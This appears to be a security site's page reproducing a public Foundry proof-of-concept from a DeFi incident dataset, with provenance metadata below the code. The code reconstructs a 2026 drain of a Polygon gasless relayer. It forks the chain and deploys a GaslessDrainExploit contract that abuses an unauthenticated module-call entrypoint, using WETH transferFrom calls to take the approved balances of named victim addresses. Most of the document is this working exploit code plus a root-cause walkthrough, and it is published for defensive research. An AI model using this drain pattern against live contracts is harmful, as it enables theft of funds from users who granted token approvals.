Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/GaslessReservoirEnabler_exp.sol

Public reproduction file for dataset entry GaslessReservoirEnabler.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/GaslessReservoirEnabler_exp.sol177 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.19;
3
4import "forge-std/Test.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Gasless meta-transaction relayer drain — Polygon. GaslessReservoirEnabler exposes a permissionless
8// entrypoint erc20WithTransfersAndExecute(ERC20Transfer[], ExecutionInfo[]). The ExecutionInfo leg lets
9// the caller name a `module` and arbitrary `data`, and the contract runs module.call(data) after checking
10// only that (a) the module is on moduleWhitelist and (b) the module is a contract. It never restricts what
11// `data` may be. The live WETH token contract is itself whitelisted as a "module", so a caller can pass
12// data = transferFrom(victim, attacker, amount): the enabler becomes msg.sender to WETH, and any address
13// that had a standing WETH approval to the enabler is drained. No signature, no privileged role, no owner
14// binding — the meta-transaction signature path (executeMetaTransaction) is bypassed entirely.
15//
16// Attack tx : 0x2e476745f0f546dbe4583359ea6258dfb4fababea08734f676df2e6006e1fdee (block 94199850)
17// Attacker : 0x46f54C1A86575679FC3d29666C1717E9786279Aa (via helper 0x26a3d1f2...)
18// Enabler : 0x9B58fDAdc16E30fBA313E044bf9e88689C3F163e (verified source; NOT a proxy)
19// Token : WETH 0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619 (whitelisted module)
20// Loss : 8.7199 WETH across 466 victims in this tx (~$23.8K at the fork-block WETH price), i.e. the
21// ~$23K reported. This PoC reproduces the 3 largest victims (2.3546 WETH, ~$6.4K, ~27% of the
22// WETH leg by value), which is sufficient per this repo's convention; matching all 466 is not.
23//
24// ROOT CAUSE — confirmed against the verified source, the tx trace, and direct on-chain reads:
25// 1. erc20WithTransfersAndExecute is `external nonReentrant` with no auth. Its ExecutionInfo loop calls
26// _executeInternal, which does: require(moduleWhitelist[module]); require(module.isContract());
27// module.call{value}(data). The `data` is fully caller-controlled and unvalidated.
28// 2. moduleWhitelist[WETH] == true at the fork block (direct read). A live ERC20 is a valid "module".
29// 3. The attacker submits 466 ExecutionInfos, each {module: WETH, data: transferFrom(victim, helper,
30// amount), value: 0}. Decoded straight from the real calldata (see the drain() encoding below — it
31// rebuilds the same typed struct, no raw calldata blob is replayed).
32// 4. Because the enabler is msg.sender to WETH, and every victim had granted a standing (near-max)
33// approval to the enabler, transferFrom(victim, helper, amount) succeeds. The `from` is pure caller
34// input with nothing binding it to msg.sender or to any signature. erc20sTransfers (which would pull
35// from _msgSender()) is left EMPTY; the whole drain runs through the whitelisted-module-call leg.
36//
37// This is a pure missing-authorization bug, callable by any address with zero setup — not a replay of a
38// stolen off-chain signature or a relayer-key compromise. Verified at the parent block for all 3 victims
39// reconstructed here: each holds exactly the drained WETH amount and carries a live max-ish allowance to
40// the enabler.
41//
42// Run:
43// forge test --contracts src/test/2026-09/GaslessReservoirEnabler_exp.sol -vvv
45address constant ENABLER = 0x9B58fDAdc16E30fBA313E044bf9e88689C3F163e;
46address constant WETH = 0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619;
47// UniV3 WETH/USDC.e 0.05% pool on Polygon: token0 = USDC.e (6dp), token1 = WETH (18dp). Read live at the
48// fork block only to price the drained WETH in USD for the proportional-share assertion. No hardcoded price.
49address constant WETH_USDC_POOL = 0x45dDa9cb7c25131DF268515131f647d726f50608;
51// Real ABI of the vulnerable entrypoint, recovered from the verified source. Typed structs, not a blob.
52struct ERC20Transfer {
53 IERC20 token;
54 uint256 amount;
57struct ExecutionInfo {
58 address module;
59 bytes data;
60 uint256 value;
63interface IGaslessReservoirEnabler {
64 function erc20WithTransfersAndExecute(
65 ERC20Transfer[] calldata erc20sTransfers,
66 ExecutionInfo[] calldata executionInfos
67 ) external;
68 function moduleWhitelist(address module) external view returns (bool);
69 function hasRole(bytes32 role, address account) external view returns (bool);
72interface IUniV3Pool {
73 function slot0() external view returns (uint160 sqrtPriceX96, int24, uint16, uint16, uint16, uint8, bool);
76contract GaslessReservoirEnabler_exp is Test {
77 bytes32 constant DEFAULT_ADMIN_ROLE = 0x00;
79 // Three representative (largest) victims from the real tx, and their exact drained WETH amounts.
80 address[] internal victims;
81 uint256[] internal amounts;
83 GaslessDrainExploit internal exploit;
85 function setUp() public {
86 // Parent block of the exploit tx: real enabler config + real victim approvals/balances just before.
87 vm.createSelectFork("polygon", 94_199_849);
89 victims.push(0x2F785EF4f514F6b785Ab93062e05CfCC937faC96);
90 amounts.push(836_325_335_838_961_283);
91 victims.push(0xd7026A56F38962F224753Bb59c25abc7dD687884);
92 amounts.push(767_721_189_811_708_090);
93 victims.push(0x5eADDc6F18c0341C1680AD669BEe6896509F6A60);
94 amounts.push(750_557_578_015_940_925);
96 exploit = new GaslessDrainExploit();
98 vm.label(ENABLER, "GaslessReservoirEnabler");
99 vm.label(WETH, "WETH");
100 vm.label(address(exploit), "Attacker");
101 }
103 /// forge-config: default.evm_version = "cancun"
104 function testExploit() public {
105 IGaslessReservoirEnabler enabler = IGaslessReservoirEnabler(ENABLER);
107 // CONFIRM the flawed config: a live ERC20 is whitelisted as an executable module. This is what
108 // turns the unvalidated module.call(data) into an arbitrary transferFrom of any standing approval.
109 assertTrue(enabler.moduleWhitelist(WETH), "WETH must be a whitelisted module (the misconfig)");
111 // CONFIRM the attacker is unprivileged: no role, no signature, nothing. The drain path needs none.
112 assertFalse(enabler.hasRole(DEFAULT_ADMIN_ROLE, address(exploit)), "attacker must hold no admin role");
114 uint256 totalExpected;
115 for (uint256 i = 0; i < victims.length; i++) {
116 // These are the REAL preconditions on the fork: each victim already granted a standing approval
117 // to the enabler and holds the WETH. Nothing is minted, dealt, or pranked — reality as-is.
118 uint256 bal = IERC20(WETH).balanceOf(victims[i]);
119 uint256 allow = IERC20(WETH).allowance(victims[i], ENABLER);
120 assertGe(bal, amounts[i], "victim must hold the WETH to be drained");
121 assertGe(allow, amounts[i], "victim must have a real standing approval to the enabler");
122 totalExpected += amounts[i];
123 }
125 uint256 attackerBefore = IERC20(WETH).balanceOf(address(exploit));
127 // Fire the real vulnerable entrypoint with typed structs: empty transfers + one ExecutionInfo per
128 // victim, each {module: WETH, data: transferFrom(victim, attacker, amount)}.
129 exploit.drain(ENABLER, WETH, victims, amounts);
131 uint256 stolen = IERC20(WETH).balanceOf(address(exploit)) - attackerBefore;
133 for (uint256 i = 0; i < victims.length; i++) {
134 emit log_named_address("drained victim", victims[i]);
135 emit log_named_decimal_uint(" WETH taken", amounts[i], 18);
136 }
137 emit log_named_decimal_uint("total WETH drained", stolen, 18);
138 assertEq(stolen, totalExpected, "attacker must capture the victims' full WETH");
140 // Proportional-share check. Price the drained WETH in USD from a live pool at the fork block, and
141 // assert it is a material slice of the ~$23.8K WETH-leg total (this subset is ~27% by value).
142 (uint160 sqrtP,,,,,,) = IUniV3Pool(WETH_USDC_POOL).slot0();
143 // token0=USDC.e(6), token1=WETH(18): USDC per WETH = 2^192 * 1e12 / sqrtPriceX96^2.
144 uint256 usdcPerWeth = ((uint256(2) ** 192) * 1e12) / (uint256(sqrtP) * uint256(sqrtP));
145 uint256 usdStolen = (stolen * usdcPerWeth) / 1e18;
146 emit log_named_uint("drained value (USD, approx)", usdStolen);
147 assertGt(usdStolen, 3000, "reconstructed loss should be a material USD amount");
148 assertLt(usdStolen, 12_000, "reconstructed subset should be a fair share, not the full incident");
149 }
152// Reconstruction of the attacker's batch driver. An ordinary, unprivileged contract: it builds one
153// ExecutionInfo per victim and makes a single real typed call to the enabler. No signature, no role.
154contract GaslessDrainExploit {
155 address public immutable recipient;
157 constructor() {
158 recipient = address(this);
159 }
161 function drain(address enabler, address token, address[] calldata targets, uint256[] calldata amts) external {
162 ExecutionInfo[] memory infos = new ExecutionInfo[](targets.length);
163 for (uint256 i = 0; i < targets.length; i++) {
164 // module = the whitelisted WETH token; data = a transferFrom pulling the victim's standing
165 // approval to this contract. Built from typed args, exactly the shape decoded from the real tx.
166 infos[i] = ExecutionInfo({
167 module: token,
168 data: abi.encodeWithSelector(IERC20.transferFrom.selector, targets[i], recipient, amts[i]),
169 value: 0
170 });
171 }
173 // erc20sTransfers left empty: the entire drain rides the unvalidated module-call leg.
174 ERC20Transfer[] memory noTransfers = new ERC20Transfer[](0);
175 IGaslessReservoirEnabler(enabler).erc20WithTransfersAndExecute(noTransfers, infos);
176 }

Analysis

Dataset entry

Public Foundry test for “GaslessReservoirEnabler” (2026-09-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x46f54c1a86575679fc3d29666c1717e9786279aa

  • Attack Tx

    0x2e476745f0f546dbe4583359ea6258dfb4fababea08734f676df2e6006e1fdee

File record

Name
GaslessReservoirEnabler
Path
src/test/2026-09/GaslessReservoirEnabler_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a130120436d5ce9387dd5bb038b9ed1e3a94db1b
Language
Solidity
Size
178 lines
Date
2026-09-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/GaslessReservoirEnabler_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a130120436d5ce9387dd5bb038b9ed1e3a94db1b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.